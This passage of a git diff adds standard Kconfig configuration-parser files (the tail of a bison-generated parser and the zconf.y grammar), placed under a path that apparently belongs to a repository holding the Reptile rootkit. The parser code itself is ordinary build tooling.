(3)].string)); +} + break; + + case 49: + + { (yyval.string) = NULL; } + break; + + case 50: + + { (yyval.string) = (yyvsp[(2) - (2)].string); } + break; + + case 51: + + { + struct symbol *sym = sym_lookup((yyvsp[(2) - (3)].string), SYMBOL_CHOICE); + sym->flags |= SYMBOL_AUTO; + menu_add_entry(sym); + menu_add_expr(P_CHOICE, NULL, NULL); + printd(DEBUG_PARSE, "%s:%d:choice\n", zconf_curname(), zconf_lineno()); +} + break; + + case 52: + + { + (yyval.menu) = menu_add_menu(); +} + break; + + case 53: + + { + if (zconf_endtoken((yyvsp[(1) - (1)].id), T_CHOICE, T_ENDCHOICE)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endchoice\n", zconf_curname(), zconf_lineno()); + } +} + break; + + case 61: + + { + menu_add_prompt(P_PROMPT, (yyvsp[(2) - (4)].string), (yyvsp[(3) - (4)].expr)); + printd(DEBUG_PARSE, "%s:%d:prompt\n", zconf_curname(), zconf_lineno()); +} + break; + + case 62: + + { + if ((yyvsp[(1) - (3)].id)->stype == S_BOOLEAN || (yyvsp[(1) - (3)].id)->stype == S_TRISTATE) { + menu_set_type((yyvsp[(1) - (3)].id)->stype); + printd(DEBUG_PARSE, "%s:%d:type(%u)\n", + zconf_curname(), zconf_lineno(), + (yyvsp[(1) - (3)].id)->stype); + } else + YYERROR; +} + break; + + case 63: + + { + current_entry->sym->flags |= SYMBOL_OPTIONAL; + printd(DEBUG_PARSE, "%s:%d:optional\n", zconf_curname(), zconf_lineno()); +} + break; + + case 64: + + { + if ((yyvsp[(1) - (4)].id)->stype == S_UNKNOWN) { + menu_add_symbol(P_DEFAULT, sym_lookup((yyvsp[(2) - (4)].string), 0), (yyvsp[(3) - (4)].expr)); + printd(DEBUG_PARSE, "%s:%d:default\n", + zconf_curname(), zconf_lineno()); + } else + YYERROR; +} + break; + + case 67: + + { + printd(DEBUG_PARSE, "%s:%d:if\n", zconf_curname(), zconf_lineno()); + menu_add_entry(NULL); + menu_add_dep((yyvsp[(2) - (3)].expr)); + (yyval.menu) = menu_add_menu(); +} + break; + + case 68: + + { + if (zconf_endtoken((yyvsp[(1) - (1)].id), T_IF, T_ENDIF)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endif\n", zconf_curname(), zconf_lineno()); + } +} + break; + + case 74: + + { + menu_add_prompt(P_MENU, (yyvsp[(2) - (3)].string), NULL); +} + break; + + case 75: + + { + menu_add_entry(NULL); + menu_add_prompt(P_MENU, (yyvsp[(2) - (3)].string), NULL); + printd(DEBUG_PARSE, "%s:%d:menu\n", zconf_curname(), zconf_lineno()); +} + break; + + case 76: + + { + (yyval.menu) = menu_add_menu(); +} + break; + + case 77: + + { + if (zconf_endtoken((yyvsp[(1) - (1)].id), T_MENU, T_ENDMENU)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endmenu\n", zconf_curname(), zconf_lineno()); + } +} + break; + + case 83: + + { + printd(DEBUG_PARSE, "%s:%d:source %s\n", zconf_curname(), zconf_lineno(), (yyvsp[(2) - (3)].string)); + zconf_nextfile((yyvsp[(2) - (3)].string)); +} + break; + + case 84: + + { + menu_add_entry(NULL); + menu_add_prompt(P_COMMENT, (yyvsp[(2) - (3)].string), NULL); + printd(DEBUG_PARSE, "%s:%d:comment\n", zconf_curname(), zconf_lineno()); +} + break; + + case 85: + + { + menu_end_entry(); +} + break; + + case 86: + + { + printd(DEBUG_PARSE, "%s:%d:help\n", zconf_curname(), zconf_lineno()); + zconf_starthelp(); +} + break; + + case 87: + + { + current_entry->help = (yyvsp[(2) - (2)].string); +} + break; + + case 92: + + { + menu_add_dep((yyvsp[(3) - (4)].expr)); + printd(DEBUG_PARSE, "%s:%d:depends on\n", zconf_curname(), zconf_lineno()); +} + break; + + case 96: + + { + menu_add_visibility((yyvsp[(2) - (2)].expr)); +} + break; + + case 98: + + { + menu_add_prompt(P_PROMPT, (yyvsp[(1) - (2)].string), (yyvsp[(2) - (2)].expr)); +} + break; + + case 101: + + { (yyval.id) = (yyvsp[(1) - (2)].id); } + break; + + case 102: + + { (yyval.id) = (yyvsp[(1) - (2)].id); } + break; + + case 103: + + { (yyval.id) = (yyvsp[(1) - (2)].id); } + break; + + case 106: + + { (yyval.expr) = NULL; } + break; + + case 107: + + { (yyval.expr) = (yyvsp[(2) - (2)].expr); } + break; + + case 108: + + { (yyval.expr) = expr_alloc_symbol((yyvsp[(1) - (1)].symbol)); } + break; + + case 109: + + { (yyval.expr) = expr_alloc_comp(E_EQUAL, (yyvsp[(1) - (3)].symbol), (yyvsp[(3) - (3)].symbol)); } + break; + + case 110: + + { (yyval.expr) = expr_alloc_comp(E_UNEQUAL, (yyvsp[(1) - (3)].symbol), (yyvsp[(3) - (3)].symbol)); } + break; + + case 111: + + { (yyval.expr) = (yyvsp[(2) - (3)].expr); } + break; + + case 112: + + { (yyval.expr) = expr_alloc_one(E_NOT, (yyvsp[(2) - (2)].expr)); } + break; + + case 113: + + { (yyval.expr) = expr_alloc_two(E_OR, (yyvsp[(1) - (3)].expr), (yyvsp[(3) - (3)].expr)); } + break; + + case 114: + + { (yyval.expr) = expr_alloc_two(E_AND, (yyvsp[(1) - (3)].expr), (yyvsp[(3) - (3)].expr)); } + break; + + case 115: + + { (yyval.symbol) = sym_lookup((yyvsp[(1) - (1)].string), 0); free((yyvsp[(1) - (1)].string)); } + break; + + case 116: + + { (yyval.symbol) = sym_lookup((yyvsp[(1) - (1)].string), SYMBOL_CONST); free((yyvsp[(1) - (1)].string)); } + break; + + case 117: + + { (yyval.string) = NULL; } + break; + + + + default: break; + } + /* User semantic actions sometimes alter yychar, and that requires + that yytoken be updated with the new translation. We take the + approach of translating immediately before every use of yytoken. + One alternative is translating here after every semantic action, + but that translation would be missed if the semantic action invokes + YYABORT, YYACCEPT, or YYERROR immediately after altering yychar or + if it invokes YYBACKUP. In the case of YYABORT or YYACCEPT, an + incorrect destructor might then be invoked immediately. In the + case of YYERROR or YYBACKUP, subsequent parser actions might lead + to an incorrect destructor call or verbose syntax error message + before the lookahead is translated. */ + YY_SYMBOL_PRINT ("-> $$ =", yyr1[yyn], &yyval, &yyloc); + + YYPOPSTACK (yylen); + yylen = 0; + YY_STACK_PRINT (yyss, yyssp); + + *++yyvsp = yyval; + + /* Now `shift' the result of the reduction. Determine what state + that goes to, based on the state we popped back to and the rule + number reduced by. */ + + yyn = yyr1[yyn]; + + yystate = yypgoto[yyn - YYNTOKENS] + *yyssp; + if (0 <= yystate && yystate <= YYLAST && yycheck[yystate] == *yyssp) + yystate = yytable[yystate]; + else + yystate = yydefgoto[yyn - YYNTOKENS]; + + goto yynewstate; + + +/*------------------------------------. +| yyerrlab -- here on detecting error | +`------------------------------------*/ +yyerrlab: + /* Make sure we have latest lookahead translation. See comments at + user semantic actions for why this is necessary. */ + yytoken = yychar == YYEMPTY ? YYEMPTY : YYTRANSLATE (yychar); + + /* If not already recovering from an error, report this error. */ + if (!yyerrstatus) + { + ++yynerrs; +#if ! YYERROR_VERBOSE + yyerror (YY_("syntax error")); +#else +# define YYSYNTAX_ERROR yysyntax_error (&yymsg_alloc, &yymsg, \ + yyssp, yytoken) + { + char const *yymsgp = YY_("syntax error"); + int yysyntax_error_status; + yysyntax_error_status = YYSYNTAX_ERROR; + if (yysyntax_error_status == 0) + yymsgp = yymsg; + else if (yysyntax_error_status == 1) + { + if (yymsg != yymsgbuf) + YYSTACK_FREE (yymsg); + yymsg = (char *) YYSTACK_ALLOC (yymsg_alloc); + if (!yymsg) + { + yymsg = yymsgbuf; + yymsg_alloc = sizeof yymsgbuf; + yysyntax_error_status = 2; + } + else + { + yysyntax_error_status = YYSYNTAX_ERROR; + yymsgp = yymsg; + } + } + yyerror (yymsgp); + if (yysyntax_error_status == 2) + goto yyexhaustedlab; + } +# undef YYSYNTAX_ERROR +#endif + } + + + + if (yyerrstatus == 3) + { + /* If just tried and failed to reuse lookahead token after an + error, discard it. */ + + if (yychar <= YYEOF) + { + /* Return failure if at end of input. */ + if (yychar == YYEOF) + YYABORT; + } + else + { + yydestruct ("Error: discarding", + yytoken, &yylval); + yychar = YYEMPTY; + } + } + + /* Else will try to reuse lookahead token after shifting the error + token. */ + goto yyerrlab1; + + +/*---------------------------------------------------. +| yyerrorlab -- error raised explicitly by YYERROR. | +`---------------------------------------------------*/ +yyerrorlab: + + /* Pacify compilers like GCC when the user code never invokes + YYERROR and the label yyerrorlab therefore never appears in user + code. */ + if (/*CONSTCOND*/ 0) + goto yyerrorlab; + + /* Do not reclaim the symbols of the rule which action triggered + this YYERROR. */ + YYPOPSTACK (yylen); + yylen = 0; + YY_STACK_PRINT (yyss, yyssp); + yystate = *yyssp; + goto yyerrlab1; + + +/*-------------------------------------------------------------. +| yyerrlab1 -- common code for both syntax error and YYERROR. | +`-------------------------------------------------------------*/ +yyerrlab1: + yyerrstatus = 3; /* Each real token shifted decrements this. */ + + for (;;) + { + yyn = yypact[yystate]; + if (!yypact_value_is_default (yyn)) + { + yyn += YYTERROR; + if (0 <= yyn && yyn <= YYLAST && yycheck[yyn] == YYTERROR) + { + yyn = yytable[yyn]; + if (0 < yyn) + break; + } + } + + /* Pop the current state because it cannot handle the error token. */ + if (yyssp == yyss) + YYABORT; + + + yydestruct ("Error: popping", + yystos[yystate], yyvsp); + YYPOPSTACK (1); + yystate = *yyssp; + YY_STACK_PRINT (yyss, yyssp); + } + + *++yyvsp = yylval; + + + /* Shift the error token. */ + YY_SYMBOL_PRINT ("Shifting", yystos[yyn], yyvsp, yylsp); + + yystate = yyn; + goto yynewstate; + + +/*-------------------------------------. +| yyacceptlab -- YYACCEPT comes here. | +`-------------------------------------*/ +yyacceptlab: + yyresult = 0; + goto yyreturn; + +/*-----------------------------------. +| yyabortlab -- YYABORT comes here. | +`-----------------------------------*/ +yyabortlab: + yyresult = 1; + goto yyreturn; + +#if !defined(yyoverflow) || YYERROR_VERBOSE +/*-------------------------------------------------. +| yyexhaustedlab -- memory exhaustion comes here. | +`-------------------------------------------------*/ +yyexhaustedlab: + yyerror (YY_("memory exhausted")); + yyresult = 2; + /* Fall through. */ +#endif + +yyreturn: + if (yychar != YYEMPTY) + { + /* Make sure we have latest lookahead translation. See comments at + user semantic actions for why this is necessary. */ + yytoken = YYTRANSLATE (yychar); + yydestruct ("Cleanup: discarding lookahead", + yytoken, &yylval); + } + /* Do not reclaim the symbols of the rule which action triggered + this YYABORT or YYACCEPT. */ + YYPOPSTACK (yylen); + YY_STACK_PRINT (yyss, yyssp); + while (yyssp != yyss) + { + yydestruct ("Cleanup: popping", + yystos[*yyssp], yyvsp); + YYPOPSTACK (1); + } +#ifndef yyoverflow + if (yyss != yyssa) + YYSTACK_FREE (yyss); +#endif +#if YYERROR_VERBOSE + if (yymsg != yymsgbuf) + YYSTACK_FREE (yymsg); +#endif + /* Make sure YYID is used. */ + return YYID (yyresult); +} + + + + + +void conf_parse(const char *name) +{ + struct symbol *sym; + int i; + + zconf_initscan(name); + + sym_init(); + _menu_init(); + rootmenu.prompt = menu_add_prompt(P_MENU, "Buildroot Configuration", NULL); + + if (getenv("ZCONF_DEBUG")) + zconfdebug = 1; + zconfparse(); + if (zconfnerrs) + exit(1); + if (!modules_sym) + modules_sym = sym_find( "n" ); + + rootmenu.prompt->text = _(rootmenu.prompt->text); + rootmenu.prompt->text = sym_expand_string_value(rootmenu.prompt->text); + + menu_finalize(&rootmenu); + for_all_symbols(i, sym) { + if (sym_check_deps(sym)) + zconfnerrs++; + } + if (zconfnerrs) + exit(1); + sym_set_change_count(1); +} + +static const char *zconf_tokenname(int token) +{ + switch (token) { + case T_MENU: return "menu"; + case T_ENDMENU: return "endmenu"; + case T_CHOICE: return "choice"; + case T_ENDCHOICE: return "endchoice"; + case T_IF: return "if"; + case T_ENDIF: return "endif"; + case T_DEPENDS: return "depends"; + case T_VISIBLE: return "visible"; + } + return ""; +} + +static bool zconf_endtoken(const struct kconf_id *id, int starttoken, int endtoken) +{ + if (id->token != endtoken) { + zconf_error("unexpected '%s' within %s block", + kconf_id_strings + id->name, zconf_tokenname(starttoken)); + zconfnerrs++; + return false; + } + if (current_menu->file != current_file) { + zconf_error("'%s' in different file than '%s'", + kconf_id_strings + id->name, zconf_tokenname(starttoken)); + fprintf(stderr, "%s:%d: location of the '%s'\n", + current_menu->file->name, current_menu->lineno, + zconf_tokenname(starttoken)); + zconfnerrs++; + return false; + } + return true; +} + +static void zconfprint(const char *err, ...) +{ + va_list ap; + + fprintf(stderr, "%s:%d: ", zconf_curname(), zconf_lineno()); + va_start(ap, err); + vfprintf(stderr, err, ap); + va_end(ap); + fprintf(stderr, "\n"); +} + +static void zconf_error(const char *err, ...) +{ + va_list ap; + + zconfnerrs++; + fprintf(stderr, "%s:%d: ", zconf_curname(), zconf_lineno()); + va_start(ap, err); + vfprintf(stderr, err, ap); + va_end(ap); + fprintf(stderr, "\n"); +} + +static void zconferror(const char *err) +{ + fprintf(stderr, "%s:%d: %s\n", zconf_curname(), zconf_lineno() + 1, err); +} + +static void print_quoted_string(FILE *out, const char *str) +{ + const char *p; + int len; + + putc('"', out); + while ((p = strchr(str, '"'))) { + len = p - str; + if (len) + fprintf(out, "%.*s", len, str); + fputs("\\\"", out); + str = p + 1; + } + fputs(str, out); + putc('"', out); +} + +static void print_symbol(FILE *out, struct menu *menu) +{ + struct symbol *sym = menu->sym; + struct property *prop; + + if (sym_is_choice(sym)) + fprintf(out, "\nchoice\n"); + else + fprintf(out, "\nconfig %s\n", sym->name); + switch (sym->type) { + case S_BOOLEAN: + fputs(" boolean\n", out); + break; + case S_TRISTATE: + fputs(" tristate\n", out); + break; + case S_STRING: + fputs(" string\n", out); + break; + case S_INT: + fputs(" integer\n", out); + break; + case S_HEX: + fputs(" hex\n", out); + break; + default: + fputs(" ???\n", out); + break; + } + for (prop = sym->prop; prop; prop = prop->next) { + if (prop->menu != menu) + continue; + switch (prop->type) { + case P_PROMPT: + fputs(" prompt ", out); + print_quoted_string(out, prop->text); + if (!expr_is_yes(prop->visible.expr)) { + fputs(" if ", out); + expr_fprint(prop->visible.expr, out); + } + fputc('\n', out); + break; + case P_DEFAULT: + fputs( " default ", out); + expr_fprint(prop->expr, out); + if (!expr_is_yes(prop->visible.expr)) { + fputs(" if ", out); + expr_fprint(prop->visible.expr, out); + } + fputc('\n', out); + break; + case P_CHOICE: + fputs(" #choice value\n", out); + break; + case P_SELECT: + fputs( " select ", out); + expr_fprint(prop->expr, out); + fputc('\n', out); + break; + case P_RANGE: + fputs( " range ", out); + expr_fprint(prop->expr, out); + fputc('\n', out); + break; + case P_MENU: + fputs( " menu ", out); + print_quoted_string(out, prop->text); + fputc('\n', out); + break; + default: + fprintf(out, " unknown prop %d!\n", prop->type); + break; + } + } + if (menu->help) { + int len = strlen(menu->help); + while (menu->help[--len] == '\n') + menu->help[len] = 0; + fprintf(out, " help\n%s\n", menu->help); + } +} + +void zconfdump(FILE *out) +{ + struct property *prop; + struct symbol *sym; + struct menu *menu; + + menu = rootmenu.list; + while (menu) { + if ((sym = menu->sym)) + print_symbol(out, menu); + else if ((prop = menu->prompt)) { + switch (prop->type) { + case P_COMMENT: + fputs("\ncomment ", out); + print_quoted_string(out, prop->text); + fputs("\n", out); + break; + case P_MENU: + fputs("\nmenu ", out); + print_quoted_string(out, prop->text); + fputs("\n", out); + break; + default: + ; + } + if (!expr_is_yes(prop->visible.expr)) { + fputs(" depends ", out); + expr_fprint(prop->visible.expr, out); + fputc('\n', out); + } + } + + if (menu->list) + menu = menu->list; + else if (menu->next) + menu = menu->next; + else while ((menu = menu->parent)) { + if (menu->prompt && menu->prompt->type == P_MENU) + fputs("\nendmenu\n", out); + if (menu->next) { + menu = menu->next; + break; + } + } + } +} + +#include "zconf.lex.c" +#include "util.c" +#include "confdata.c" +#include "expr.c" +#include "symbol.c" +#include "menu.c" + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/zconf.y b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/zconf.y new file mode 100644 index 0000000..08ac041 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/zconf.y @@ -0,0 +1,733 @@ +%{ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include +#include + +#include "lkc.h" + +#define printd(mask, fmt...) if (cdebug & (mask)) printf(fmt) + +#define PRINTD 0x0001 +#define DEBUG_PARSE 0x0002 + +int cdebug = PRINTD; + +extern int zconflex(void); +static void zconfprint(const char *err, ...); +static void zconf_error(const char *err, ...); +static void zconferror(const char *err); +static bool zconf_endtoken(const struct kconf_id *id, int starttoken, int endtoken); + +struct symbol *symbol_hash[SYMBOL_HASHSIZE]; + +static struct menu *current_menu, *current_entry; + +%} +%expect 30 + +%union +{ + char *string; + struct file *file; + struct symbol *symbol; + struct expr *expr; + struct menu *menu; + const struct kconf_id *id; +} + +%token T_MAINMENU +%token T_MENU +%token T_ENDMENU +%token T_SOURCE +%token T_CHOICE +%token T_ENDCHOICE +%token T_COMMENT +%token T_CONFIG +%token T_MENUCONFIG +%token T_HELP +%token T_HELPTEXT +%token T_IF +%token T_ENDIF +%token T_DEPENDS +%token T_OPTIONAL +%token T_PROMPT +%token T_TYPE +%token T_DEFAULT +%token T_SELECT +%token T_RANGE +%token T_VISIBLE +%token T_OPTION +%token T_ON +%token T_WORD +%token T_WORD_QUOTE +%token T_UNEQUAL +%token T_CLOSE_PAREN +%token T_OPEN_PAREN +%token T_EOL + +%left T_OR +%left T_AND +%left T_EQUAL T_UNEQUAL +%nonassoc T_NOT + +%type prompt +%type symbol +%type expr +%type if_expr +%type end +%type option_name +%type if_entry menu_entry choice_entry +%type symbol_option_arg word_opt + +%destructor { + fprintf(stderr, "%s:%d: missing end statement for this entry\n", + $$->file->name, $$->lineno); + if (current_menu == $$) + menu_end_menu(); +} if_entry menu_entry choice_entry + +%{ +/* Include zconf.hash.c here so it can see the token constants. */ +#include "zconf.hash.c" +%} + +%% +input: nl start | start; + +start: mainmenu_stmt stmt_list | stmt_list; + +stmt_list: + /* empty */ + | stmt_list common_stmt + | stmt_list choice_stmt + | stmt_list menu_stmt + | stmt_list end { zconf_error("unexpected end statement"); } + | stmt_list T_WORD error T_EOL { zconf_error("unknown statement \"%s\"", $2); } + | stmt_list option_name error T_EOL +{ + zconf_error("unexpected option \"%s\"", kconf_id_strings + $2->name); +} + | stmt_list error T_EOL { zconf_error("invalid statement"); } +; + +option_name: + T_DEPENDS | T_PROMPT | T_TYPE | T_SELECT | T_OPTIONAL | T_RANGE | T_DEFAULT | T_VISIBLE +; + +common_stmt: + T_EOL + | if_stmt + | comment_stmt + | config_stmt + | menuconfig_stmt + | source_stmt +; + +option_error: + T_WORD error T_EOL { zconf_error("unknown option \"%s\"", $1); } + | error T_EOL { zconf_error("invalid option"); } +; + + +/* config/menuconfig entry */ + +config_entry_start: T_CONFIG T_WORD T_EOL +{ + struct symbol *sym = sym_lookup($2, 0); + sym->flags |= SYMBOL_OPTIONAL; + menu_add_entry(sym); + printd(DEBUG_PARSE, "%s:%d:config %s\n", zconf_curname(), zconf_lineno(), $2); +}; + +config_stmt: config_entry_start config_option_list +{ + menu_end_entry(); + printd(DEBUG_PARSE, "%s:%d:endconfig\n", zconf_curname(), zconf_lineno()); +}; + +menuconfig_entry_start: T_MENUCONFIG T_WORD T_EOL +{ + struct symbol *sym = sym_lookup($2, 0); + sym->flags |= SYMBOL_OPTIONAL; + menu_add_entry(sym); + printd(DEBUG_PARSE, "%s:%d:menuconfig %s\n", zconf_curname(), zconf_lineno(), $2); +}; + +menuconfig_stmt: menuconfig_entry_start config_option_list +{ + if (current_entry->prompt) + current_entry->prompt->type = P_MENU; + else + zconfprint("warning: menuconfig statement without prompt"); + menu_end_entry(); + printd(DEBUG_PARSE, "%s:%d:endconfig\n", zconf_curname(), zconf_lineno()); +}; + +config_option_list: + /* empty */ + | config_option_list config_option + | config_option_list symbol_option + | config_option_list depends + | config_option_list help + | config_option_list option_error + | config_option_list T_EOL +; + +config_option: T_TYPE prompt_stmt_opt T_EOL +{ + menu_set_type($1->stype); + printd(DEBUG_PARSE, "%s:%d:type(%u)\n", + zconf_curname(), zconf_lineno(), + $1->stype); +}; + +config_option: T_PROMPT prompt if_expr T_EOL +{ + menu_add_prompt(P_PROMPT, $2, $3); + printd(DEBUG_PARSE, "%s:%d:prompt\n", zconf_curname(), zconf_lineno()); +}; + +config_option: T_DEFAULT expr if_expr T_EOL +{ + menu_add_expr(P_DEFAULT, $2, $3); + if ($1->stype != S_UNKNOWN) + menu_set_type($1->stype); + printd(DEBUG_PARSE, "%s:%d:default(%u)\n", + zconf_curname(), zconf_lineno(), + $1->stype); +}; + +config_option: T_SELECT T_WORD if_expr T_EOL +{ + menu_add_symbol(P_SELECT, sym_lookup($2, 0), $3); + printd(DEBUG_PARSE, "%s:%d:select\n", zconf_curname(), zconf_lineno()); +}; + +config_option: T_RANGE symbol symbol if_expr T_EOL +{ + menu_add_expr(P_RANGE, expr_alloc_comp(E_RANGE,$2, $3), $4); + printd(DEBUG_PARSE, "%s:%d:range\n", zconf_curname(), zconf_lineno()); +}; + +symbol_option: T_OPTION symbol_option_list T_EOL +; + +symbol_option_list: + /* empty */ + | symbol_option_list T_WORD symbol_option_arg +{ + const struct kconf_id *id = kconf_id_lookup($2, strlen($2)); + if (id && id->flags & TF_OPTION) + menu_add_option(id->token, $3); + else + zconfprint("warning: ignoring unknown option %s", $2); + free($2); +}; + +symbol_option_arg: + /* empty */ { $$ = NULL; } + | T_EQUAL prompt { $$ = $2; } +; + +/* choice entry */ + +choice: T_CHOICE word_opt T_EOL +{ + struct symbol *sym = sym_lookup($2, SYMBOL_CHOICE); + sym->flags |= SYMBOL_AUTO; + menu_add_entry(sym); + menu_add_expr(P_CHOICE, NULL, NULL); + printd(DEBUG_PARSE, "%s:%d:choice\n", zconf_curname(), zconf_lineno()); +}; + +choice_entry: choice choice_option_list +{ + $$ = menu_add_menu(); +}; + +choice_end: end +{ + if (zconf_endtoken($1, T_CHOICE, T_ENDCHOICE)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endchoice\n", zconf_curname(), zconf_lineno()); + } +}; + +choice_stmt: choice_entry choice_block choice_end +; + +choice_option_list: + /* empty */ + | choice_option_list choice_option + | choice_option_list depends + | choice_option_list help + | choice_option_list T_EOL + | choice_option_list option_error +; + +choice_option: T_PROMPT prompt if_expr T_EOL +{ + menu_add_prompt(P_PROMPT, $2, $3); + printd(DEBUG_PARSE, "%s:%d:prompt\n", zconf_curname(), zconf_lineno()); +}; + +choice_option: T_TYPE prompt_stmt_opt T_EOL +{ + if ($1->stype == S_BOOLEAN || $1->stype == S_TRISTATE) { + menu_set_type($1->stype); + printd(DEBUG_PARSE, "%s:%d:type(%u)\n", + zconf_curname(), zconf_lineno(), + $1->stype); + } else + YYERROR; +}; + +choice_option: T_OPTIONAL T_EOL +{ + current_entry->sym->flags |= SYMBOL_OPTIONAL; + printd(DEBUG_PARSE, "%s:%d:optional\n", zconf_curname(), zconf_lineno()); +}; + +choice_option: T_DEFAULT T_WORD if_expr T_EOL +{ + if ($1->stype == S_UNKNOWN) { + menu_add_symbol(P_DEFAULT, sym_lookup($2, 0), $3); + printd(DEBUG_PARSE, "%s:%d:default\n", + zconf_curname(), zconf_lineno()); + } else + YYERROR; +}; + +choice_block: + /* empty */ + | choice_block common_stmt +; + +/* if entry */ + +if_entry: T_IF expr nl +{ + printd(DEBUG_PARSE, "%s:%d:if\n", zconf_curname(), zconf_lineno()); + menu_add_entry(NULL); + menu_add_dep($2); + $$ = menu_add_menu(); +}; + +if_end: end +{ + if (zconf_endtoken($1, T_IF, T_ENDIF)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endif\n", zconf_curname(), zconf_lineno()); + } +}; + +if_stmt: if_entry if_block if_end +; + +if_block: + /* empty */ + | if_block common_stmt + | if_block menu_stmt + | if_block choice_stmt +; + +/* mainmenu entry */ + +mainmenu_stmt: T_MAINMENU prompt nl +{ + menu_add_prompt(P_MENU, $2, NULL); +}; + +/* menu entry */ + +menu: T_MENU prompt T_EOL +{ + menu_add_entry(NULL); + menu_add_prompt(P_MENU, $2, NULL); + printd(DEBUG_PARSE, "%s:%d:menu\n", zconf_curname(), zconf_lineno()); +}; + +menu_entry: menu visibility_list depends_list +{ + $$ = menu_add_menu(); +}; + +menu_end: end +{ + if (zconf_endtoken($1, T_MENU, T_ENDMENU)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endmenu\n", zconf_curname(), zconf_lineno()); + } +}; + +menu_stmt: menu_entry menu_block menu_end +; + +menu_block: + /* empty */ + | menu_block common_stmt + | menu_block menu_stmt + | menu_block choice_stmt +; + +source_stmt: T_SOURCE prompt T_EOL +{ + printd(DEBUG_PARSE, "%s:%d:source %s\n", zconf_curname(), zconf_lineno(), $2); + zconf_nextfile($2); +}; + +/* comment entry */ + +comment: T_COMMENT prompt T_EOL +{ + menu_add_entry(NULL); + menu_add_prompt(P_COMMENT, $2, NULL); + printd(DEBUG_PARSE, "%s:%d:comment\n", zconf_curname(), zconf_lineno()); +}; + +comment_stmt: comment depends_list +{ + menu_end_entry(); +}; + +/* help option */ + +help_start: T_HELP T_EOL +{ + printd(DEBUG_PARSE, "%s:%d:help\n", zconf_curname(), zconf_lineno()); + zconf_starthelp(); +}; + +help: help_start T_HELPTEXT +{ + current_entry->help = $2; +}; + +/* depends option */ + +depends_list: + /* empty */ + | depends_list depends + | depends_list T_EOL + | depends_list option_error +; + +depends: T_DEPENDS T_ON expr T_EOL +{ + menu_add_dep($3); + printd(DEBUG_PARSE, "%s:%d:depends on\n", zconf_curname(), zconf_lineno()); +}; + +/* visibility option */ + +visibility_list: + /* empty */ + | visibility_list visible + | visibility_list T_EOL +; + +visible: T_VISIBLE if_expr +{ + menu_add_visibility($2); +}; + +/* prompt statement */ + +prompt_stmt_opt: + /* empty */ + | prompt if_expr +{ + menu_add_prompt(P_PROMPT, $1, $2); +}; + +prompt: T_WORD + | T_WORD_QUOTE +; + +end: T_ENDMENU T_EOL { $$ = $1; } + | T_ENDCHOICE T_EOL { $$ = $1; } + | T_ENDIF T_EOL { $$ = $1; } +; + +nl: + T_EOL + | nl T_EOL +; + +if_expr: /* empty */ { $$ = NULL; } + | T_IF expr { $$ = $2; } +; + +expr: symbol { $$ = expr_alloc_symbol($1); } + | symbol T_EQUAL symbol { $$ = expr_alloc_comp(E_EQUAL, $1, $3); } + | symbol T_UNEQUAL symbol { $$ = expr_alloc_comp(E_UNEQUAL, $1, $3); } + | T_OPEN_PAREN expr T_CLOSE_PAREN { $$ = $2; } + | T_NOT expr { $$ = expr_alloc_one(E_NOT, $2); } + | expr T_OR expr { $$ = expr_alloc_two(E_OR, $1, $3); } + | expr T_AND expr { $$ = expr_alloc_two(E_AND, $1, $3); } +; + +symbol: T_WORD { $$ = sym_lookup($1, 0); free($1); } + | T_WORD_QUOTE { $$ = sym_lookup($1, SYMBOL_CONST); free($1); } +; + +word_opt: /* empty */ { $$ = NULL; } + | T_WORD + +%% + +void conf_parse(const char *name) +{ + struct symbol *sym; + int i; + + zconf_initscan(name); + + sym_init(); + _menu_init(); + rootmenu.prompt = menu_add_prompt(P_MENU, "Buildroot Configuration", NULL); + + if (getenv("ZCONF_DEBUG")) + zconfdebug = 1; + zconfparse(); + if (zconfnerrs) + exit(1); + if (!modules_sym) + modules_sym = sym_find( "n" ); + + rootmenu.prompt->text = _(rootmenu.prompt->text); + rootmenu.prompt->text = sym_expand_string_value(rootmenu.prompt->text); + + menu_finalize(&rootmenu); + for_all_symbols(i, sym) { + if (sym_check_deps(sym)) + zconfnerrs++; + } + if (zconfnerrs) + exit(1); + sym_set_change_count(1); +} + +static const char *zconf_tokenname(int token) +{ + switch (token) { + case T_MENU: return "menu"; + case T_ENDMENU: return "endmenu"; + case T_CHOICE: return "choice"; + case T_ENDCHOICE: return "endchoice"; + case T_IF: return "if"; + case T_ENDIF: return "endif"; + case T_DEPENDS: return "depends"; + case T_VISIBLE: return "visible"; + } + return ""; +} + +static bool zconf_endtoken(const struct kconf_id *id, int starttoken, int endtoken) +{ + if (id->token != endtoken) { + zconf_error("unexpected '%s' within %s block", + kconf_id_strings + id->name, zconf_tokenname(starttoken)); + zconfnerrs++; + return false; + } + if (current_menu->file != current_file) { + zconf_error("'%s' in different file than '%s'", + kconf_id_strings + id->name, zconf_tokenname(starttoken)); + fprintf(stderr, "%s:%d: location of the '%s'\n", + current_menu->file->name, current_menu->lineno, + zconf_tokenname(starttoken)); + zconfnerrs++; + return false; + } + return true; +} + +static void zconfprint(const char *err, ...) +{ + va_list ap; + + fprintf(stderr, "%s:%d: ", zconf_curname(), zconf_lineno()); + va_start(ap, err); + vfprintf(stderr, err, ap); + va_end(ap); + fprintf(stderr, "\n"); +} + +static void zconf_error(const char *err, ...) +{ + va_list ap; + + zconfnerrs++; + fprintf(stderr, "%s:%d: ", zconf_curname(), zconf_lineno()); + va_start(ap, err); + vfprintf(stderr, err, ap); + va_end(ap); + fprintf(stderr, "\n"); +} + +static void zconferror(const char *err) +{ + fprintf(stderr, "%s:%d: %s\n", zconf_curname(), zconf_lineno() + 1, err); +} + +static void print_quoted_string(FILE *out, const char *str) +{ + const char *p; + int len; + + putc('"', out); + while ((p = strchr(str, '"'))) { + len = p - str; + if (len) + fprintf(out, "%.*s", len, str); + fputs("\\\"", out); + str = p + 1; + } + fputs(str, out); + putc('"', out); +} + +static void print_symbol(FILE *out, struct menu *menu) +{ 